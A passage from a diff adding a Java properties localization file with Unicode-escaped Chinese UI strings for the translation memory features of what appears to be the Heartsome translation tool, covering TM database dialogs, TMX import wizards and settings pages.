\u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TmDbManagerDialog.importBtn = \u5bfc\u5165 TMX(&I) +dialog.TmDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u3002 +dialog.TmDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TmDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TmDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TmDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TmDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TmDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TmDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TmDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TmDbManagerDialog.msg10 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u6ca1\u6709\u6587\u672c\u6bb5\u3002 +dialog.TmDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u8bb0\u5fc6\u5e93 +dialog.TmDbManagerDialog.inputDbNameialogMsg = \u8bb0\u5fc6\u5e93\u540d\u79f0\uff1a +dialog.UpdateTMDialog.title = \u66f4\u65b0\u8bb0\u5fc6\u5e93 +dialog.UpdateTMDialog.lbl = \u8303\u56f4 +dialog.UpdateTMDialog.btnDraft = \u8349\u7a3f +dialog.UpdateTMDialog.btnTranslated = \u5df2\u7ffb\u8bd1 +dialog.UpdateTMDialog.btnApproved = \u5df2\u6279\u51c6 +dialog.UpdateTMDialog.btnSignedOff = \u5df2\u7b7e\u53d1 +dialog.UpdateTMDialog.jobTitle = \u66f4\u65b0\u8bb0\u5fc6\u5e93 +dialog.UpdateTMDialog.jobTask1 = \u6b63\u5728\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff0c\u8bf7\u7a0d\u5019 +dialog.UpdateTMDialog.jobTask2 = \u6b63\u5728\u751f\u6210 TMX \u6587\u4ef6... +dialog.UpdateTMDialog.jobTask3 = \u6b63\u5728\u5bfc\u5165... +dialog.UpdateTMDialog.job.msgTitle = \u63d0\u793a +dialog.UpdateTMDialog.job.msg = \u66f4\u65b0\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u9879\u76ee\u8bbe\u7f6e\u4e86\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.UpdateTMDialog.btnSetting = \u9009\u9879(&O)... + +handler.ConcordanceSearchHandler.msgTitle = \u63d0\u793a +handler.ConcordanceSearchHandler.msg = \u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e\u4e2d\u6dfb\u52a0\u8bb0\u5fc6\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.UpdateTMHandler.msgTitle = \u63d0\u793a +handler.UpdateTMHandler.logger1 = [LOG] \u5728\u6587\u4ef6\u5939\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.logger2 = [LOG] \u5728\u9879\u76ee\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.msg1 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u5728\u9009\u4e2d\u7684\u6587\u4ef6\u5939\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg2 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u5728\u9009\u4e2d\u7684\u9879\u76ee\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg3 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg4 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u5c5e\u4e8e\u540c\u4e00\u4e2a\u9879\u76ee\u3002\n\u8bf7\u53ea\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u4e2d\u7684\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\uff0c\u7136\u540e\u91cd\u8bd5\u3002 + +newproject.NewProjectTmPage.title = \u8bb0\u5fc6\u5e93 +newproject.NewProjectTmPage.desc = \u8bbe\u7f6e\u8be5\u9879\u76ee\u7684\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u3002 +newproject.NewProjectTmPage.msg1 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +newproject.NewProjectTmPage.addBtn = \u6dfb\u52a0(&A) +newproject.NewProjectTmPage.createBtn = \u521b\u5efa(&C) +newproject.NewProjectTmPage.removeBtn = \u79fb\u9664(&R) +newproject.NewProjectTmPage.importTmxBtn = \u5bfc\u5165 TMX(&I) +newproject.NewProjectTmPage.msgTitle = \u63d0\u793a +newproject.NewProjectTmPage.msg1 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u8bb0\u5fc6\u5e93\u3002 +newproject.NewProjectTmPage.msg2 = \u4ee5\u4e0b\u8bb0\u5fc6\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +newproject.NewProjectTmPage.clmnTitles1 = \u540d\u79f0 +newproject.NewProjectTmPage.clmnTitles2 = \u7c7b\u578b +newproject.NewProjectTmPage.clmnTitles3 = \u5730\u5740 +newproject.NewProjectTmPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +newproject.NewProjectTmPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +newproject.NewProjectTmPage.yes = \u5305\u542b +newproject.NewProjectTmPage.no = \u4e0d\u5305\u542b + +preference.TMDatabasePage.title = \u8bb0\u5fc6\u5e93 +preference.TMDatabasePage.commonGroup = \u5e38\u89c4 +preference.TMDatabasePage.setLabel = \u5728\u8bb0\u5fc6\u5e93\u4e2d\u4e3a\u6587\u672c\u6bb5\u641c\u7d22\u5339\u914d\u65f6\uff1a +preference.TMDatabasePage.btnCaseSensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.TMDatabasePage.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +preference.TMDatabasePage.minLabel = \u6700\u4f4e\u5339\u914d\u7387\uff1a +preference.TMDatabasePage.msg1 = \u8bf7\u8f93\u5165 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u4f5c\u4e3a\u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u3002 +preference.TMDatabasePage.msg2 = \u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u7684\u6709\u6548\u503c\u4e3a 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u3002 +preference.TMDatabasePage.msg3 = \u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u7684\u6709\u6548\u503c\u4e3a 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u3002 +preference.TMDatabasePage.contextSpi = \u4e0a\u4e0b\u6587\u6587\u672c\u6bb5\u6570\u91cf\uff1a +preference.TMDatabasePage.matchNumberSpi = \u5339\u914d\u663e\u793a\u6570\u91cf\uff1a +preference.TMDatabasePage.sortGroup = \u5339\u914d\u4f18\u5148\u7ea7 +preference.TMDatabasePage.sortLabel = \u5f53\u5339\u914d\u7387\u76f8\u540c\u65f6\uff0c\u4f18\u5148\u663e\u793a\u5982\u4e0b\u7c7b\u578b\u7684\u8bb0\u5fc6\u5e93\u5339\u914d\uff1a +preference.TMDatabasePage.btnDefaultDBPrecedence = \u9ed8\u8ba4\u8bb0\u5fc6\u5e93 +preference.TMDatabasePage.btnDateReverse = \u6700\u8fd1\u66f4\u65b0 +preference.TMDatabasePage.updateCompGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TMDatabasePage.updateLabel = \u6587\u672c\u6bb5\u5165\u5e93\u548c\u5bfc\u5165 TMX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u6587\u672c\u6bb5\u7684\u5904\u7406\u7b56\u7565\uff1a +preference.TMDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TMDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TMDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TMUpdateDatabasePage.title = \u8bb0\u5fc6\u5e93 +preference.TMUpdateDatabasePage.updateGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TMUpdateDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TMUpdateDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TMUpdateDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TMUpdateDatabasePage.updateLabel = \u6587\u672c\u6bb5\u5165\u5e93\u548c\u5bfc\u5165 TMX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u6587\u672c\u6bb5\u7684\u5904\u7406\u7b56\u7565\uff1a + +projectsetting.ProjectSettingTMPage.title = \u8bb0\u5fc6\u5e93 +projectsetting.ProjectSettingTMPage.msg1 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +projectsetting.ProjectSettingTMPage.addBtn = \u6dfb\u52a0(&A) +projectsetting.ProjectSettingTMPage.createBtn = \u521b\u5efa(&C) +projectsetting.ProjectSettingTMPage.removeBtn = \u79fb\u9664(&R) +projectsetting.ProjectSettingTMPage.importTmxBtn = \u5bfc\u5165 TMX(&I) +projectsetting.ProjectSettingTMPage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingTMPage.msg2 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u8bb0\u5fc6\u5e93\u3002 +projectsetting.ProjectSettingTMPage.msg3 = \u4ee5\u4e0b\u8bb0\u5fc6\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +projectsetting.ProjectSettingTMPage.msg4 = \u8be5\u7248\u672c\u4e0d\u652f\u6301\u6b64\u7c7b\u578b\u7684\u6570\u636e\u5e93\u3002 +projectsetting.ProjectSettingTMPage.clmnTitles1 = \u540d\u79f0 +projectsetting.ProjectSettingTMPage.clmnTitles2 = \u7c7b\u578b +projectsetting.ProjectSettingTMPage.clmnTitles3 = \u5730\u5740 +projectsetting.ProjectSettingTMPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +projectsetting.ProjectSettingTMPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +projectsetting.ProjectSettingTMPage.yes = \u5305\u542b +projectsetting.ProjectSettingTMPage.no = \u4e0d\u5305\u542b + +wizard.ImportTmxPage.title = \u5bfc\u5165 TMX \u6587\u4ef6 +wizard.ImportTmxPage.desc = \u5c06 TMX \u6587\u4ef6\u4e2d\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u4e2d\u3002 +wizard.ImportTmxPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.ImportTmxPage.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.ImportTmxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.ImportTmxPage.settingBtn = \u9009\u9879(&O)... +wizard.ImportTmxPage.task1 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.ImportTmxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.ImportTmxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.ImportTmxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.ImportTmxWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.NewTmDbBaseInfoPage.title = \u8bb0\u5fc6\u5e93\u4fe1\u606f +wizard.NewTmDbBaseInfoPage.desc = \u8bf7\u8f93\u5165\u8bb0\u5fc6\u5e93\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewTmDbBaseInfoPage.dbGroup1 = \u57fa\u672c\u4fe1\u606f +wizard.NewTmDbBaseInfoPage.lblType = \u7c7b\u578b\uff1a +wizard.NewTmDbBaseInfoPage.dbNameText = \u540d\u79f0\uff1a +wizard.NewTmDbBaseInfoPage.instanceText = \u5b9e\u4f8b\uff1a +wizard.NewTmDbBaseInfoPage.dbGroup = \u4f4d\u7f6e +wizard.NewTmDbBaseInfoPage.hostText = \u670d\u52a1\u5668\uff1a +wizard.NewTmDbBaseInfoPage.portText = \u7aef\u53e3\uff1a +wizard.NewTmDbBaseInfoPage.locationText = \u8def\u5f84\uff1a +wizard.NewTmDbBaseInfoPage.borwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTmDbBaseInfoPage.authorityGroup = \u8eab\u4efd\u9a8c\u8bc1 +wizard.NewTmDbBaseInfoPage.usernameText = \u7528\u6237\u540d\uff1a +wizard.NewTmDbBaseInfoPage.passwordText = \u5bc6\u7801\uff1a +wizard.NewTmDbBaseInfoPage.msg1 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u7684\u7c7b\u578b\u3002\u5982\u679c\u4f7f\u7528 Internal DB \u4f5c\u4e3a\u8bb0\u5fc6\u5e93\uff0c\u5219\u4ec5\u9700\u6307\u5b9a\u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002\n\u5982\u679c\u9009\u62e9\u4f7f\u7528\u5176\u4ed6\u7c7b\u578b\u7684\u8bb0\u5fc6\u5e93\uff0c\u5219\u9700\u8981\u8f93\u5165\u5b89\u88c5\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u5730\u5740\u3001\u7528\u6237\u540d\u53ca\u5bc6\u7801\u3002 +wizard.NewTmDbBaseInfoPage.msg2 = \u8bf7\u8f93\u5165\u8bb0\u5fc6\u5e93\u7684\u540d\u79f0\u3002 +wizard.NewTmDbBaseInfoPage.msg3 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +wizard.NewTmDbBaseInfoPage.msg4 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +wizard.NewTmDbBaseInfoPage.msg5 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +wizard.NewTmDbBaseInfoPage.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +wizard.NewTmDbBaseInfoPage.instancemsg = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +wizard.NewTmDbBaseInfoPage.task1 = \u5c1d\u8bd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93... +wizard.NewTmDbBaseInfoPage.msg7 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3002\n\u8bf7\u786e\u8ba4\u8f93\u5165\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbBaseInfoPage.logger1 = [LOG] \u8bb0\u5fc6\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25\uff01 +wizard.NewTmDbBaseInfoPage.msg8 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbBaseInfoPage.msg9 = \u5982\u4e0b\u8bb0\u5fc6\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizard.NewTmDbBaseInfoPage.task2 = \u6b63\u5728\u521b\u5efa\u8bb0\u5fc6\u5e93... +wizard.NewTmDbBaseInfoPage.msg10 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +wizard.NewTmDbImportPage.title = \u5bfc\u5165 TMX +wizard.NewTmDbImportPage.desc = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u5230\u8bb0\u5fc6\u5e93\u4e2d\u7684 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.NewTmDbImportPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTmDbImportPage.task1 = \u521b\u5efa\u8bb0\u5fc6\u5e93 +wizard.NewTmDbImportPage.task2 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.NewTmDbImportPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbImportPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbImportPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.NewTmDbWizard.title = \u65b0\u5efa\u8bb0\u5fc6\u5e93\u5411\u5bfc +wizard.TmDbManagerImportWizard.title = \u5bfc\u5165 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.title = \u5411\u8bb0\u5fc6\u5e93\u4e2d\u5bfc\u5165 TMX +wizard.TmDbManagerImportWizardTmxPage.desc = \u5c06 TMX \u6587\u4ef6\u5bfc\u5165\u5230\u6240\u9009\u7684\u8bb0\u5fc6\u5e93\u4e2d\u3002 +wizard.TmDbManagerImportWizardTmxPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.TmDbManagerImportWizardTmxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TmDbManagerImportWizardTmxPage.openFile = \u6253\u5f00\u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.lblNewLabel = \u8bb0\u5fc6\u5e93\uff1a +wizard.TmDbManagerImportWizardTmxPage.button = \u9009\u62e9(&S) +wizard.TmDbManagerImportWizardTmxPage.task1 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.TmDbManagerImportWizardTmxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg8 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.msg9 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165 TMX \u6587\u4ef6\u7684\u8bb0\u5fc6\u5e93 +wizard.UpdateTMWizard.msgTitle = \u63d0\u793a +wizard.UpdateTMWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684\u6587\u672c\u6bb5\u72b6\u6001\u8303\u56f4\u3002 + +wizard.UpdateTMWizardPage.columnNumber = \u5e8f\u53f7 +wizard.UpdateTMWizardPage.columnPath = XLIFF \u6587\u4ef6 + +########################## 2012-08-13 \u6dfb\u52a0 ############################################### +dialog.UpdateTMWizardPage.btnLocked = \u5df2\u9501\u5b9a +wizard.UpdateTMWizardPage.title = \u5c06\u9009\u62e9\u7684\u6587\u4ef6\u66f4\u65b0\u5230\u8bb0\u5fc6\u5e93 +wizard.UpdateTMWizardPage.description = \u8bf7\u9009\u62e9\u8981\u5165\u5e93\u7684\u6587\u672c\u6bb5\u72b6\u6001\u8303\u56f4\u3002 + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.ConcordanceSearchDialog.lstItem = \u5168\u90e8 + +########################## 2012-09-24 \u6dfb\u52a0 ############################################### +handler.UpdateTMHandler.msg5 = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e > \u8bb0\u5fc6\u5e93\u4e2d\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +# 2012-09-24 add by jason +wizard.NewTmDbBaseInfoPage.msg11 = \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u9519\u8bef\u6216\u8be5\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ############################################### +wizard.ImportTmxWizard.title = \u5bfc\u5165 TMX \u6587\u4ef6 + + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite\uff08\u63a8\u8350\uff09 + +# add by jason 2013-04-23 +tm.dbtype.sqlite = 